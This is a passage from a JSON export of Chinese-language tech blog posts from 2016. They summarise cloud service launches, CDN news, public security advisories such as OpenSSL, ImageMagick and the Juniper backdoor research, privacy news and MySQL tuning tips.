    "id": "6512",
    "body": "<a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a> 推出了新的磁碟種類，都是比現在更經濟 (白話文：更便宜) 的方案：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-ebs-update-new-cold-storage-and-throughput-options/\">Amazon EBS Update – New Cold Storage and Throughput Options</a>」。\r\n\r\n第一種是 Amazon EBS Throughput Optimized HDD，代號是 st1；第二種是 Amazon EBS Cold HDD，代號是 sc1，兩種都是傳統磁頭硬碟。\r\n\r\n第一種 st1 重視 sequential 的 throughput：\r\n\r\n<blockquote>Starts at 250 MB/s for a 1 terabyte volume, and grows by 250 MB/s for every additional provisioned terabyte until reaching a maximum burst throughput of 500 MB/s.</blockquote>\r\n\r\n第二種 sc1 則是重視堆資料的費用：\r\n\r\n<blockquote>Designed for workloads similar to those for Throughput Optimized HDD that are accessed less frequently; $0.025 / gigabyte / month.</blockquote>\r\n\r\n要注意的是，IOPS 是可以累計的，而未滿 1MB 的 access 會計算成 1MB，所以只適合大量 sequential access 的應用，像是 <a href=\"https://hadoop.apache.org/\">Hadoop</a> 這類 big data 類的應用：\r\n\r\n<blockquote>For both of the new magnetic volume types, the burst credit bucket can grow until it reaches the size of the volume. In other words, when a volume’s bucket is full, you can scan the entire volume at the burst rate. Each I/O request of 1 megabyte or less counts as 1 megabyte’s worth of credit. Sequential I/O operations are merged into larger ones where possible; this can increase throughput and maximizes the value of the burst credit bucket (to learn more about how the bucket operates, visit the Performance Burst Details section of my <a href=\"https://aws.amazon.com/blogs/aws/new-ssd-backed-elastic-block-storage/\">New SSD-Backed Elastic Block Storage</a> post).</blockquote>\r\n\r\n另外 sc1 也是目前每單位裡面最便宜的價錢，不知道拿來當 root 會底多慢 XDDD",
    "title": "Amazon EBS 推出新磁碟種類"
  },
  {
    "id": "6513",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 又推出新的功能，這次 <a href=\"https://aws.amazon.com/device-farm/\">AWS Device Farm</a> 讓使用者可以遠端互動跟機器操作：「<a href=\"https://aws.amazon.com/blogs/aws/aws-device-farm-update-remote-access-to-devices-for-interactive-testing/\">AWS Device Farm Update – Remote Access to Devices for Interactive Testing</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/66H3WKF.webp\" /><img src=\"https://i.gslin.com/imgur/66H3WKF.jpg\" alt=\"\" /></picture>\r\n\r\n在「<a href=\"https://aws.amazon.com/device-farm/device-list/\">Test Devices List</a>」這邊可以找到很多舊版本的機器可以互動操作 (尤其是 <a href=\"https://www.apple.com/ios/\">iOS</a> 系列的機器)，就可以拿來測各種舊版本的 bug report 了...",
    "title": "AWS Device Farm 可以遠端操作"
  },
  {
    "id": "6514",
    "body": "在 <a href=\"https://www.schneier.com/\">Bruce Schneier</a> 這邊看到這則新聞：「<a href=\"https://www.schneier.com/blog/archives/2016/04/kuwaiti_governm.html\">Kuwaiti Government will DNA Test Everyone</a>」，原始報導在「<a href=\"http://news.kuwaittimes.net/website/kuwait-to-enforce-dna-testing-law-on-citizens-expats-visitors-tests-wont-be-used-to-determine-genealogy-affect-freedoms/\">Kuwait set to enforce DNA testing law on all – Officials reassure tests won’t be used to determine genealogy</a>」這邊，開頭的說明還蠻清楚的：\r\n\r\n<blockquote>The DNA testing law that will go into effect this year is aimed at creating an integrated security database and does not include genealogical implications or affects personal freedoms and privacy.</blockquote>\r\n\r\n以及：\r\n\r\n<blockquote>When the law (no. 78/2015) is applied, it will be binding on all citizens, expatriates and visitors too.</blockquote>\r\n\r\nBruce Schneier 擔心的是這種嚴重侵犯隱私的資訊沒有任何罰則可以阻止科威特政府將 DNA 資訊轉其他國家的政府：\r\n\r\n<blockquote>And there is nothing preventing the Kuwaiti government from sharing that information with any other government.</blockquote>\r\n\r\n這個國家完全不能進去...",
    "title": "科威特通過法律強制取得每個人的 DNA：包括外籍人士與訪客"
  },
  {
    "id": "6515",
    "body": "一樣是從 <a href=\"https://www.schneier.com/\">Bruce Schneier</a> 那邊看到的：「<a href=\"https://www.schneier.com/blog/archives/2016/04/details_about_j.html\">Details about Juniper's Firewall Backdoor</a>」，原始的研究連結在「<a href=\"https://eprint.iacr.org/2016/376\">Cryptology ePrint Archive: Report 2016/376</a>」這邊。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/ScreenOS\">ScreenOS</a> 被放了兩個後門，一個是 SSH 的後門：\r\n\r\n<blockquote>Reverse engineering of ScreenOS binaries revealed that the first of these vulnerabilities was a conventional back door in the SSH password checker.</blockquote>\r\n\r\n另外一個是「Dual EC 的 Q 值」被放了後門，而「NIST 所制定的 Dual EC 的 Q 值」本身就是個後門，所以有人把這個後門又給換掉了：\r\n\r\n<blockquote>The second is far more intriguing: a change to the Q parameter used by the Dual EC pseudorandom number generator. It is widely known that Dual EC has the unfortunate property that an attacker with the ability to choose Q can, from a small sample of the generator's output, predict all future outputs. In a 2013 public statement, Juniper noted the use of Dual EC but claimed that ScreenOS included countermeasures that neutralized this form of attack.</blockquote>\r\n\r\n第二個後門更發現嚴重的問題，Juniper 所宣稱的反制措施根本沒被執行到：\r\n\r\n<blockquote>In this work, we report the results of a thorough independent analysis of the ScreenOS randomness subsystem, as well as its interaction with the IKE VPN key establishment protocol. Due to apparent flaws in the code, Juniper's countermeasures against a Dual EC attack are never executed.</blockquote>\r\n\r\n也因此團隊確認選定 Q 值的人可以輕易的成功攻擊 IPSec 流量：\r\n\r\n<blockquote>Moreover, by comparing sequential versions of ScreenOS, we identify a cluster of additional changes that were introduced concurrently with the inclusion of Dual EC in a single 2008 release. Taken as a whole, these changes render the ScreenOS system vulnerable to passive exploitation by an attacker who selects Q. We demonstrate this by installing our own parameters, and showing that it is possible to passively decrypt a single IKE handshake and its associated VPN traffic in isolation without observing any other network traffic.</blockquote>",
    "title": "關於 Juniper ScreenOS 防火牆被放後門的研究"
  },
  {
    "id": "6516",
    "body": "<a href=\"http://www.mit.edu/\">MIT</a> 弄出來的新玩意，靜態分析工具叫做 Space：「<a href=\"https://threatpost.com/new-mit-scanner-finds-web-app-flaws-in-a-minute/117482/\">New MIT Scanner Finds Web App Flaws in a Minute</a>」，MIT 官方的報導在「<a href=\"https://news.mit.edu/2016/patching-web-applications-0415\">Patching up Web applications</a>」這邊：\r\n\r\n<blockquote>In tests on 50 popular Web applications written using Ruby on Rails, the system found 23 previously undiagnosed security flaws, and it took no more than 64 seconds to analyze any given program.</blockquote>\r\n\r\n接下來就是什麼時候會放出來了...",
    "title": "MIT 開發出靜態分析工具，找出 23 個 RoR 軟體未被發現的漏洞"
  },
  {
    "id": "6517",
    "body": "在 <a href=\"https://cabforum.org/\">CA/Browser Forum</a> 三月底的會議記錄裡看到了關於 wildcard ssl certificate 的一些討論，還蠻有趣的：「<a href=\"https://cabforum.org/2016/03/31/2016-03-31-minutes/\">2016-03-31 Minutes</a>」。\r\n\r\n主要是第五條的記錄，在討論更廣泛的 wildcard 用法。首先是 <a href=\"https://www.microsoft.com/\">Microsoft</a> 對 <code>ww*.example.com</code> 這種 domain 的認定：\r\n\r\n<blockquote>Rick said there was a Microsoft tech note that allows ww*.example.com. Jody confirmed the platform supports it.</blockquote>\r\n\r\n但有爭論，而且目前看起來暫時沒有打算要實作：\r\n\r\n<blockquote>Rick suggested the BRs be updated to include that. Ryan said that is not a good thing as there are multiple specs that treat this differently and historical context which would make it hard for Google to support such a ballot. Kirk asked why Peter put this in the ballot. He responded that this was raised in the past where people found a discrepancy in relation to other docs. However, given there was not consensus, he would remove from the proposed ballot. Ryan said there is a need for clarification because CAs seem to be interpreting this differently. Peter said he would create a new definition called “wildcard domain name” with an exact definition to avoid confusion and add clarity. Rick said that ideally Microsoft should remove that functionality and update the tech notes. Jody said he would need to consult with his expert on this. Peter said the goal of this ballot was to make it a “consensus” ballot and would remove anything controversial.</blockquote>\r\n\r\n看起來還沒有完全定下來，之後的會議記錄可以再看看進展。這對安全性也頗有幫助，舉例來說，我就可以針對不同的服務發不同的 wildcard ssl certificate，像是 <code>test-*.example.com</code> 這樣，而不用另外再建立機制避免 private key 的外流。",
    "title": "CA/Browser Forum 在三月底的會議記錄"
  },
  {
    "id": "6518",
    "body": "最近 CDN 產業裡有不少蕭期，其中一個新聞是 <a href=\"https://cloud.google.com/cdn/\">Google CDN</a> 進入 beta，<a href=\"https://www.google.com/\">Google</a> 藉由在全球佈署的機房來服務。\r\n\r\n不過雖然進入了 Beta，但仍然有很嚴重的技術限制，只能透過 <a href=\"https://cloud.google.com/compute/\">GCE</a> 當 origin server，這使得實用性低很多：\r\n\r\n<blockquote>Origins\r\nDelivers HTTP/HTTPS content originating from Compute Engine VM instances. External origin servers are not supported.</blockquote>\r\n\r\n有些特點是跟一般 CDN 不同的，一個是 Google 對 HTTPS 的口號，所以 HTTP 與 HTTPS 的價錢相同。其實你就當做他把 HTTP 的費用收的跟 HTTPS 一樣就好：\r\n\r\n<blockquote>SSL Shouldn't Cost Extra\r\nThe web is moving to HTTPS, and your cacheable content should, too. With Cloud CDN, you can secure your content using SSL/TLS for no additional charge.</blockquote>\r\n\r\n另外一個特點是從技術上就宣稱完全使用 Anycast，而不是見到的 DNS + Anycast：\r\n\r\n<blockquote>Anycast\r\nServe all your content from a single IP address with low latency worldwide.</blockquote>\r\n\r\n另外，計價的方式與其他的 CDN 有不少地方不一樣，另外也有針對中國地區另外處理。\r\n\r\n首先是他把 Cache Egress (從 CDN 給使用者) 與 Cache Fill (從 CDN 到 Origin 取得資源) 分開收，一的般 CDN 都只收 Cache Egress 這塊。\r\n\r\n再來是中國大陸地區的價錢另外標示，有特地標明不是從中國大陸地區直接提供服務：\r\n\r\n<blockquote>Traffic destined for mainland China is served from Google locations outside of mainland China. Performance and reliability may be lower than for traffic served from in-country locations.</blockquote>\r\n\r\n言下之意就是另外買 optimized 的頻寬來服務，但還是不會像在中國大陸地區有機房的效果這麼好，不過好處是不需要 ICP 之類的證照。\r\n\r\n不過不得不說價錢其實還蠻便宜的，無論是歐美還是亞洲區。",
    "title": "Google CDN 進入 Beta"
  },
  {
    "id": "6519",
    "body": "<a href=\"https://aws.amazon.com/cognito/\">Amazon Cognito</a> 是 <a href=\"https://aws.amazon.com/\">AWS</a> 在 Serverless 與 IoT 兩個大主題下所提供的帳號管理系統，你可以透過 AWS 直接幫你管使用者的帳號，並且透過他存一些 user data 在上面：\r\n\r\n<blockquote>Amazon Cognito lets you easily add user sign-up and sign-in to your mobile and web apps. With Amazon Cognito, you can also authenticate users through social identity providers such as Facebook, Twitter, or Amazon, or by using your own identity solution. In addition, Amazon Cognito enables you to save data locally on users devices, allowing your applications to work even when the devices are offline. You can then synchronize data across users devices so that their app experience remains consistent regardless of the device they use.</blockquote>\r\n\r\n之前的版本可以吃 3rd party 廠商的認證 (像是 <a href=\"https://www.facebook.com/\">Facebook</a>、<a href=\"https://twitter.com/\">Twitter</a> 這些服務)，而現在正是宣佈可以自己管理了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/04/now-available-add-user-sign-up-and-sign-in-with-cognito-identity/\">Now Available: Add user sign-up and sign-in with Cognito Identity</a>」。\r\n\r\n文件上「<a href=\"https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-identity-pools.html\">Amazon Cognito Identity: Creating and Managing User Pools (Beta)</a>」可以看到目前這個功能還在 Beta 階段，另外在「<a href=\"https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-identity-pools-settings.html\">User Pool Settings</a>」可以看到內建有很多 attribute 可以選用，像是 address、birth_date 這些基本資訊。\r\n\r\n愈來愈 Serverless 了...",
    "title": "Amazon Cognito 支援帳號代管了..."
  },
  {
    "id": "6520",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://aws.amazon.com/\">AWS</a> 的 scheduled events 可以設定為一分鐘一次了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Create scheduled events with 1-minute granularity on AWS Lambda using Cloudwatch Events. <a href=\"https://t.co/a0Rl3bgzGI\">https://t.co/a0Rl3bgzGI</a> <a href=\"https://t.co/PUe7koIXfE\">pic.twitter.com/PUe7koIXfE</a></p>&mdash; Amazon Web Services (@awscloud) <a href=\"https://twitter.com/awscloud/status/722914314642792449\">April 20, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n在 AWS 的相關文件上也發現相關的限制都拿掉了：「<a href=\"https://docs.aws.amazon.com/lambda/latest/dg/with-scheduled-events.html\">Using AWS Lambda with Scheduled Events</a>」。\r\n\r\n實際測試也發現沒問題了，之前用 <code>*/1</code> 會被擋下來，現在是 ok 的：\r\n\r\n<pre>aws events put-rule --schedule-expression 'cron(*/1 * * * ? *)' --name test</pre>",
    "title": "AWS 的 scheduled events 可以設定為一分鐘一次了"
  },
  {
    "id": "6522",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 提供了透過 <a href=\"https://www.torproject.org/\">Tor</a> 連上 Facebook 的人數：「<a href=\"https://www.facebook.com/notes/facebook-over-tor/1-million-people-use-facebook-over-tor/865624066877648\">1 Million People use Facebook over Tor</a>」：\r\n\r\n<blockquote>In June 2015, over a typical 30 day period, about 525,000 people would access Facebook over Tor e.g.: by using Tor Browser to access www.facebook.com or the Facebook Onion site, or by using Orbot on Android. This number has grown – roughly linearly – and this month, for the first time, we saw this “30 day” figure exceed 1 million people.</blockquote>\r\n\r\n去年六月的時候大約是 52 萬人，而現在則超過一百萬了。",
    "title": "最近三十天透過 Tor 上 Facebook 的人超過一百萬"
  },
  {
    "id": "6524",
    "body": "在看宵夜文「<a href=\"http://likebestfood.pixnet.net/blog/post/164497959-2016%E6%9B%B4%E6%96%B0%E3%80%902013%E5%8F%B0%E5%8C%97%E5%AE%B5%E5%A4%9C%E7%BE%8E%E9%A3%9F%E5%B0%8F%E5%90%83%E7%B2%BE%E9%81%B8%E3%80%91%E6%9D%BE%E5%B1%B1%E5%8D%80\">2016更新【2013台北宵夜美食小吃精選】松山區信義區大安區</a>」的時候做其他事情，回來就看到 in-window popup 視窗，決定擋下來，所以就把 html 找出來：\r\n\r\n<pre>&lt;div class=\"modal idle-pop\" tabindex=\"-1\" role=\"dialog\" aria-describedby=\"dialog\"&gt;\r\n    &lt;div class=\"modal-content\"&gt;\r\n      &lt;div class=\"modal-header\"&gt;本網頁已閒置超過 3 分鐘。請點 &lt;kbd&gt;關閉&gt;/kbd&gt; 或 &lt;kbd>點擊&lt;/kbd&gt;任一空白處，即可回到網頁&lt;/div&gt;\r\n      &lt;div class=\"modal-body\"&gt;</pre>\r\n\r\n我選擇的方法是透過 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a> 阻擋元素：\r\n\r\n<pre>pixnet.net##.idle-pop</pre>\r\n\r\n然後重新開 blog 頁面，等個幾分鐘後確認就可以了。",
    "title": "阻擋 PIXNET 的三分鐘閒置視窗"
  },
  {
    "id": "6525",
    "body": "舊金山通過在 2017 年之後的建築物必須有 15% 的屋頂面積必須是太陽能相關的設備：「<a href=\"https://nextcity.org/daily/entry/san-francisco-require-solar-panels-buildings\">San Francisco Is Requiring Solar Panels on All New Buildings</a>」：\r\n\r\n<blockquote>The ordinance, passed unanimously by the city’s Board of Supervisors, extends an existing California law which requires 15 percent of roof space on new buildings to be “solar ready” — available and unshaded. That ordinance applies to residential or commercial buildings 10 stories or shorter.</blockquote>\r\n\r\n也就是說，可以是太陽能的發電，也可以是太陽能集熱的設備：\r\n\r\n<blockquote>Under the new ordinance, which will go into effect in 2017, new buildings need to have solar energy of some kind installed, either electricity-generating panels or solar heating units.</blockquote>\r\n\r\n希望在 2020 年達到 100% 再生能源的目標：\r\n\r\n<blockquote>San Francisco took a major step toward its own goal of meeting the city’s electricity demands with 100 percent renewable energy by 2020.</blockquote>\r\n\r\n這成為美國第一個主要城市通過這樣的規範：\r\n\r\n<blockquote>This week, San Francisco became the first major U.S. city to require all new buildings to have solar panels on their roofs, according to Scott Wiener, the city supervisor who introduced the bill.</blockquote>",
    "title": "舊金山要求新的建築物都必須有太陽能設備"
  },
  {
    "id": "6526",
    "body": "前幾天 <a href=\"https://www.bgpmon.net/\">BGPmon</a> 偵測到大規模的 routing-hijacking 事件：「<a href=\"https://www.bgpmon.net/large-hijack-affects-reachability-of-high-traffic-destinations/\">Large hijack affects reachability of high traffic destinations</a>」，範圍應該是最近最大的：\r\n\r\n<blockquote>Our initial investigation shows that the scope of this incident is widespread and affected 576 Autonomous systems and 3431 prefixes. Amongst the networks affected are high traffic prefixes including those of Google, Amazon, Twitter, Apple, Akamai, Time Warner Cable Internet and more.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/IcIFoyN.webp\" /><img src=\"https://i.gslin.com/imgur/IcIFoyN.jpg\" alt=\"\" /></picture>\r\n\r\n在「<a href=\"https://puck.nether.net/pipermail/outages/2016-April/008943.html\">[outages] HTTP access to www.amazon.com is down for us</a>」這邊也看得到當時有人發現問題。",
    "title": "前幾天大規模的 Routing-Hijacking 事件"
  },
  {
    "id": "6528",
    "body": "這邊探討了新聞網站引入 Adblock 反制與 <a href=\"https://en.wikipedia.org/wiki/Paywall\">Paywall</a> 帶來的影響：「<a href=\"https://thestack.com/world/2016/04/21/sites-that-block-adblockers-seem-to-be-suffering/\">Sites that block adblockers seem to be suffering</a>」。\r\n\r\n作者拿了 <a href=\"http://www.wired.com/\">WIRED</a>、<a href=\"http://www.bild.de/\">Bild</a> (<a href=\"http://www.axelspringer.de/\">Axel Springer</a>)、<a href=\"http://www.forbes.com/\">Forbes</a>、<a href=\"http://www.cityam.com/\">City AM</a> 以及 <a href=\"https://www.washingtonpost.com/\">Washington Post</a> 的 <a href=\"https://www.alexa.com/\">Alexa</a> 數字來歸納，可以看出新聞網站的取代率太高 (甚至看不到就算了)，可以看到 bounce rate 大幅增加 (很多人發現不能看就不會繼續看下去)，而且 pageview 也大幅下降。\r\n\r\nWIRED：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1uY6I1S.webp\" /><img src=\"https://i.gslin.com/imgur/1uY6I1S.jpg\" alt=\"\" /></picture>\r\n\r\nBild：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nKrNXYm.webp\" /><img src=\"https://i.gslin.com/imgur/nKrNXYm.jpg\" alt=\"\" /></picture>\r\n\r\nForbes：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kE79Kmx.webp\" /><img src=\"https://i.gslin.com/imgur/kE79Kmx.jpg\" alt=\"\" /></picture>\r\n\r\nCity AM：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Zm9cck4.webp\" /><img src=\"https://i.gslin.com/imgur/Zm9cck4.jpg\" alt=\"\" /></picture>\r\n\r\nWashington Post：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pcmBKns.webp\" /><img src=\"https://i.gslin.com/imgur/pcmBKns.jpg\" alt=\"\" /></picture>\r\n\r\n不過文章還是很粗糙，有太多變數沒有考慮進去...",
    "title": "Adblock 與 Paywall 帶來的影響"
  },
  {
    "id": "6529",
    "body": "在「<a href=\"http://blog.delicious.com/2016/04/transition-to-del-icio-us/\">Transition to del.icio.us</a>」這邊看到 <a href=\"https://delicious.com/\">Delicious</a> 打算把 domain 換回去：\r\n\r\n<blockquote>We have begun the scheduled migration of Delicious.com to del.icio.us. We are grateful for your patience, as we work day and night to make the transition as quickly as possible.</blockquote>\r\n\r\n所以是打算要拋掉 delicious.com 了嗎？",
    "title": "Delicious 打算把網域名稱換回 del.icio.us"
  },
  {
    "id": "6530",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"http://brew.sh/\">Homebrew</a> 會將安裝資訊送到 <a href=\"https://www.google.com/analytics/\">Google Analytics</a> 上面：「<a href=\"https://github.com/Homebrew/brew/blob/master/share/doc/homebrew/Analytics.md\">Homebrew's Anonymous Aggregate User Behaviour Analytics</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HR8ktso.webp\" /><img src=\"https://i.gslin.com/imgur/HR8ktso.jpg\" alt=\"\" /></picture>\r\n\r\nopt-out 的方法有兩個，一個是環境變數，另外一個是透過 git 設定：\r\n\r\n<blockquote>If after everything you've read you still wish to opt-out of Homebrew's analytics you may set <code>HOMEBREW_NO_ANALYTICS=1</code> in your environment or run <code>git config --file=\"$(brew --repository)/.git/config\" --replace-all homebrew.analyticsdisabled true</code> which will prevent analytics from ever being sent when either of them have been set.</blockquote>",
    "title": "Homebrew 會將安裝資訊送到 Google Analytics 上"
  },
  {
    "id": "6531",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 宣佈支援 HTTP/2 的 Server Push：「<a href=\"https://blog.cloudflare.com/announcing-support-for-http-2-server-push-2/\">Announcing Support for HTTP/2 Server Push</a>」。\r\n\r\n如同預期的 (最簡單的方式)，是透過 HTTP header 標示，也就是透過 <code>rel=preload</code> 辨識：\r\n\r\n<pre>Link: &lt;/asset/to/push.js&gt;; rel=preload;</pre>\r\n\r\n可以看到沒有 Server Push 與有 Server Push 的效能差異：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zxV0UL2.webp\" /><img src=\"https://i.gslin.com/imgur/zxV0UL2.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cTmRNIz.webp\" /><img src=\"https://i.gslin.com/imgur/cTmRNIz.jpg\" alt=\"\" /></picture>",
    "title": "CloudFlare 宣佈支援 HTTP/2 的 Server Push"
  },
  {
    "id": "6532",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 又增加一個亞洲的 PoP 了，整個東南亞愈來愈密了：「<a href=\"https://blog.cloudflare.com/bangkok/\">Bangkok, Thailand: CloudFlare’s 79th Data Center</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PqovE2r.webp\" /><img src=\"https://i.gslin.com/imgur/PqovE2r.jpg\" alt=\"\" /></picture>\r\n\r\n下一個亞洲的點會是越南嗎？另外美國的點一直都有點少 (相較於其他地區)，不知道會不會加...",
    "title": "CloudFlare 又增加一個亞洲的點：泰國曼谷"
  },
  {
    "id": "6534",
    "body": "<a href=\"https://www.openssl.org/\">OpenSSL</a> 的安全性漏洞公告：「<a href=\"https://www.openssl.org/news/secadv/20160503.txt\">OpenSSL Security Advisory [3rd May 2016]</a>」。<a href=\"https://www.imagemagick.org/\">ImageMagick</a> 的安全性漏洞說明頁：「<a href=\"https://imagetragick.com/\">ImageTragick</a>」。\r\n\r\n<a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2107\">CVE-2016-2107</a> 是修 <a href=\"https://en.wikipedia.org/wiki/Lucky_Thirteen_attack\">Lucky 13</a> 問題時沒修好造成的：\r\n\r\n<blockquote>This issue was introduced as part of the fix for Lucky 13 padding attack (CVE-2013-0169). The padding check was rewritten to be in constant time by making sure that always the same bytes are read and compared against either the MAC or padding bytes. But it no longer checked that there was enough data to have both the MAC and padding bytes.</blockquote>\r\n\r\n而 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2108\">CVE-2016-2108</a> 是組合技，從兩個「看似無害」的安全性問題開始：\r\n\r\n<blockquote>This vulnerability is a combination of two bugs, neither of which individually has security impact.</blockquote>\r\n\r\n<blockqote>The first bug (mishandling of negative zero integers) was reported to OpenSSL by Huzaifa Sidhpurwala (Red Hat) and independently by Hanno Böck in April 2015. The second issue (mishandling of large universal tags) was found using libFuzzer, and reported on the public issue tracker on March 1st 2016.</blockquote>\r\n\r\n然後 <a href=\"https://www.google.com/\">Google</a> 的人找出來可以打穿：\r\n\r\n<blockquote>The fact that these two issues combined present a security vulnerability was reported by David Benjamin (Google) on March 31st 2016.</blockquote>\r\n\r\n另外隔壁棚的 ImageMagick 安全性問題是個慘劇，是個 RCE 等級的，而且 exploit 已經在外面跑了：\r\n\r\n<blockquote>One of the vulnerabilities can lead to remote code execution (RCE) if you process user submitted images. The exploit for this vulnerability is being used in the wild.</blockquote>",
    "title": "最近的兩個安全性漏洞：OpenSSL、ImageMagick"
  },
  {
    "id": "6535",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 推出的 Origin CA 用來保護從 CloudFlare 到 Origin Server 這段的過程：「<a href=\"https://blog.cloudflare.com/cloudflare-ca-encryption-origin/\">Introducing CloudFlare Origin CA</a>」，也就是右半部這段：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rXC21xN.webp\" /><img src=\"https://i.gslin.com/imgur/rXC21xN.jpg\" alt=\"\" /></picture>\r\n\r\nCloudFlare 把這個新功能包裝得很神，但實際上只是弄個 CA 出來跑而已，僅此而已。\r\n\r\n當然，由於他不需要處理 Public CA 的問題，所以有很多在一般 TLS 連線需要做的檢查步驟可以被簡化，藉此達到效能改善，包括了省掉 intermediate certificates、OCSP 以及 SCTs：\r\n\r\n<blockquote>With Origin CA certificates, we’ve stripped everything that’s extraneous to communication between our servers and yours to produce the smallest possible certificate and handshake. For example, we have no need to bundle intermediate certificates to assist browsers in building paths to trusted roots; no need to include signed certificate timestamps (SCTs) for purposes of certificate transparency and EV treatment; no need to include links to Certification Practice Statements or other URLs; and no need to listen to Online Certificate Status Protocol (OCSP) responses from third-parties.</blockquote>\r\n\r\n進而省下大量的連線成本：\r\n\r\n<blockquote>Eliminating these unnecessary components typically found in certificates from public CAs has allowed us to reduce the size of the handshake by up to 70%, from over 4500 bytes in some cases to under 1300.</blockquote>",
    "title": "CloudFlare 的 Origin CA：保護 CloudFlare 到 Origin 這段的傳輸過程"
  },
  {
    "id": "6536",
    "body": "在「<a href=\"https://developer.wordpress.com/2016/05/03/state-of-wordpress-com-elasticsearch-systems-2016/\">State of WordPress.com Elasticsearch Systems 2016</a>」這邊描述他們 <a href=\"https://www.elastic.co/products/elasticsearch\">Elasticsearch</a> 的架構。\r\n\r\n有五個 cluster 打散，有跑 1.3.x 也有 1.7.x。把一般使用者與 VIP 分開，而全站的資料又是一組。另外在 2.3.x 的測試機上跑 en.support.wordpress.com 的資料 (看起來是短時間炸掉沒關係？XD)。\r\n\r\n由於是自己生機器出來，所以機器的選擇上用大量的記憶體與 SSD 硬碟來換各種效能：\r\n\r\n<blockquote>Typical data server config:\r\n* 96GB RAM with 31GB for ES heap. Remaining gets used for file system caching\r\n* 1-3 TB of SSD per server. In our testing SSDs are very worthwhile.</blockquote>\r\n\r\n另外上面還是有疊 cache：\r\n\r\n<blockquote>memcache timeouts vary from 30 seconds to 36 hours depending on use case</blockquote>",
    "title": "WordPress.com 的 Elasticsearch"
  },
  {
    "id": "6537",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2016/05/03/best-practices-for-configuring-optimal-mysql-memory-usage/\">Best Practices for Configuring Optimal MySQL Memory Usage</a>」這篇給了個蠻不錯的建議：\r\n\r\n<blockquote>Don’t allow the mysqld process VSZ exceed 90% of the system memory</blockquote>\r\n\r\n用 <code>ps ax -O vsz | grep mysqld</code> 可以看到 mysqld 吃了多少 VSZ，然後自己除整台機器的記憶體大小，就可以算出來目前吃了多少，然後調整 <code>innodb_buffer_pool_size</code> 的數字。\r\n\r\n另外 performance schema 也會有不少影響：\r\n\r\n<blockquote>MySQL is workload related – if you have many connections active at the same time that run heavy selects using a lot of memory for sorting or temporary tables, you might need a lot of memory (especially if Performance Schema is enabled). In other cases this amount of memory is minimal. You’ll generally need somewhere between 1 and 10GB for this purpose.</blockquote>\r\n\r\n記憶體碎裂問題應該是在調整時就會考慮進去：\r\n\r\n<blockquote>Another thing you need to account for is memory fragmentation. Depending on the memory allocation library you’re using (glibc, TCMalloc, jemalloc, etc.), the operating system settings such as Transparent Huge Pages (THP) and workload may show memory usage to grow over time (until it reaches some steady state). Memory fragmentation can also account for 10% or more of additional memory usage.</blockquote>\r\n\r\n其實就是沒有一定的定論，在不同的系統上會有不同的反應...",
    "title": "調整 MySQL 的記憶體用量"
  },
  {
    "id": "6538",
    "body": "在 <a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2016/05/04/mysql-high-availability-the-road-ahead-for-percona-and-xtradb-cluster/\">MySQL High Availability: The Road Ahead for Percona and XtraDB Cluster</a>」這篇文章的前面講了很多東西，最主要就是要宣佈把 Galera Cluster 納入 Enterprise/Premium Support：\r\n\r\n<blockquote>Today we’re taking the next natural step – we will no longer require customers to purchase Percona XtraDB Cluster as a separate add-on. Percona will include support for XtraDB Cluster and other Galera-based replication technologies in our Enterprise and Premier support levels, as well as our Percona Care and Managed Services subscriptions.</blockquote>\r\n\r\n先前是分開賣的，現在包進去了。",
    "title": "Percona 宣佈把 Galera Cluster 納入 Enterprise 與 Premium Support 內"
  },
  {
    "id": "6539",
